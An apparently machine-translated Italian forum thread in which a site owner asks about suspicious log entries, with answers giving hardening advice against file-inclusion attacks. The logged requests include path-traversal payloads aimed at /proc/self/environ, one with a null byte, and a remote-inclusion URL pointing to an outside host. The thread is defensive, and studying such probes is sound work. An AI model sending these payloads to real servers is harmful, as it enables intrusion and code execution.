è un tentativo di hacking?

Guardando attraverso i miei 404 registri ho notato i seguenti due URL, entrambi verificati una volta:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

e

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

La pagina in questione library.phprichiede una typevariabile con una mezza dozzina di valori accettabili diversi e quindi una idvariabile. Quindi potrebbe essere un URL valido

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

e gli ID vengono tutti eseguiti mysql_real_escape_stringprima di essere utilizzati per eseguire query sul database.

Sono un novellino, ma mi sembra che entrambi questi link siano semplici attacchi contro il webroot?

1) Qual è il modo migliore per proteggere da questo genere di cose oltre a un 404?

2) Devo autorizzare gli IP responsabili?

EDIT: anche appena notato questo

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: L'IP offensivo per tutti e 3 gli attacchi è stato 216.97.231.15rintracciato in un ISP chiamato Lunar Pages situato appena fuori Los Angeles.

EDIT 3: Ho deciso di chiamare l'ISP venerdì mattina ora locale e discutere il problema con chiunque riesca a ottenere al telefono. Pubblicherò i risultati qui tra circa 24 ore.

EDIT 4: Ho finito per mandare un'e-mail ai loro amministratori e loro hanno risposto prima che "ci stavano esaminando" e poi il giorno dopo con "questo problema dovrebbe essere risolto ora". Non ci sono ulteriori dettagli, purtroppo.

0) Sì. Per lo meno, è una sonda sistematica contro il tuo sito che cerca di scoprire se è vulnerabile.

1) Oltre a garantire che il codice sia pulito, non c'è molto che puoi fare ma eseguire i tuoi test sul tuo host per assicurarti che sia sicuro. Google Skipfish è uno dei tanti strumenti che ti possono aiutare.

2) lo farei.

Questo è un attacco, è molto spiegato qui .

Come altri hanno detto: sì, è un tentativo di hacking. Si prega di essere consapevoli del fatto che oltre a questo possibile tentativo fatto a mano ce ne sono molti e molti automatizzati gestiti da botnet. In genere questo tipo di attacchi sta tentando di sgattaiolare attraverso vulnerabilità secolari e / o alcuni tipici difetti di codifica, come l'incapacità di convalidare l'input dell'utente che porta all'iniezione di SQL, perdita di sistema o di file o simili.

Vietare a mano quelle botnet è molto probabilmente impossibile, poiché le botnet possono utilizzare fino a migliaia di indirizzi IP univoci, quindi se si desidera vietarli, è necessario utilizzare un qualche tipo di programma di ban automatizzato. fail2ban mi viene in mente; farlo reagire agli eventi mod_security o ad altre voci di registro.

Se il tuo codice è pulito e il server è indurito, questi tentativi di hacking sono solo un fastidioso inquinamento dei log. Ma è meglio prendere misure precauzionali e considerare alcune o tutte le seguenti, a seconda delle esigenze:

• mod_security è un modulo Apache che filtra tutti i tipi di tipici tentativi di hacking. Può anche limitare il traffico in uscita (la pagina che il tuo server invierebbe a un client) se vede JavaScript sospetto ecc.

• Suhosin per l'indurimento del PHP stesso.

• Esegui i tuoi script PHP come utente proprietario dello script; cose come suphp e php-fpm lo rendono possibile.

• Montare la directory temporanea webroot e PHP come noexec, nosuid, nodev .

• Disabilita le funzioni PHP non necessarie, come sistema e passthru .

• Disabilita i moduli PHP non necessari. Ad esempio, se non hai bisogno del supporto IMAP, non abilitarlo.

• Mantieni aggiornato il tuo server.

• Tieni d'occhio i registri.

• Assicurati di disporre di backup.

• Avere un piano su cosa fare se qualcuno ti hackera o qualche altro disastro ti colpisce.

È un buon inizio. Quindi ci sono misure ancora più estreme come Snort e Prelude , ma possono essere molto esagerate per la maggior parte delle configurazioni.

È del tutto probabile che la macchina che sta facendo quelle query sia uno zombi botnet. Se ricevi queste richieste da più IP, probabilmente non vale la pena vietarle, perché dovresti vietare metà di Internet perché sia ​​efficace.

Come già detto, è un tentativo di accedere al file / proc / self / environment per ottenere maggiori informazioni.

Presumo sia una macchina linux:

Dovresti usare

• suhosin ( http://www.hardened-php.net/suhosin/ ) - Protegge gli script php
• usa la limitazione di php openbasedir
• fail2ban http://www.fail2ban.org/

Puoi bloccare l'ip di un server attaccante, ma dovresti considerare che non può attaccare nella funzione.

Ho bloccato alcuni servizi quando il mio server è sotto attacco: http / https / pop / imap / ssh ma lascia aperto smtp, che puoi ricevere una notifica in caso di errore.

Sì, è un tentativo di intrusione. Dovresti assolutamente mettere un divieto all'IP. Se si determina che l'IP è fuori dal paese, si potrebbe semplicemente voler vietare l'intera sottorete a cui appartiene. Questo è meno un problema di codice che un problema del server. Cerca questa particolare intrusione e assicurati che il tuo provider di hosting non sia vulnerabile ad esso o simili tentativi di script kiddie (che è come appare questo).

Questo è un tentativo di sfruttare una potenziale vulnerabilità di inclusione di file locale arbitraria negli script lato server accessibili tramite il server Web. Su un sistema Linux vulnerabile /proc/self/environpuò essere abusato per eseguire codice arbitrario lato server.

Come raccomandato da Janne Pikkarainen:

Tieni d'occhio i registri.

Assicurati di disporre di backup.

Come parte di questi registri è importante monitorare le modifiche di qualsiasi file, incluso il sito Web, come parte di un sistema di rilevamento delle intrusioni. Un esempio è OpenBSD che lo fa per impostazione predefinita per i file di configurazione. Ho sollevato questo perché:

• Per i siti cloud sono state apportate lievi modifiche ai file PHP su un sito Web personalizzato (questo stava solo producendo un tag non standard ma forse una parte di un test per misurare l'entità dell'exploit).
• Per un collega c'erano dei reindirizzamenti sottili nel loro file .htaccess di WordPress (solo referrer dai risultati di ricerca di Google).
• Per un altro collega ci sono state sottili modifiche al loro file di configurazione di Joomla (non ricordo cosa, penso che sia stato un reindirizzamento anche in determinate condizioni).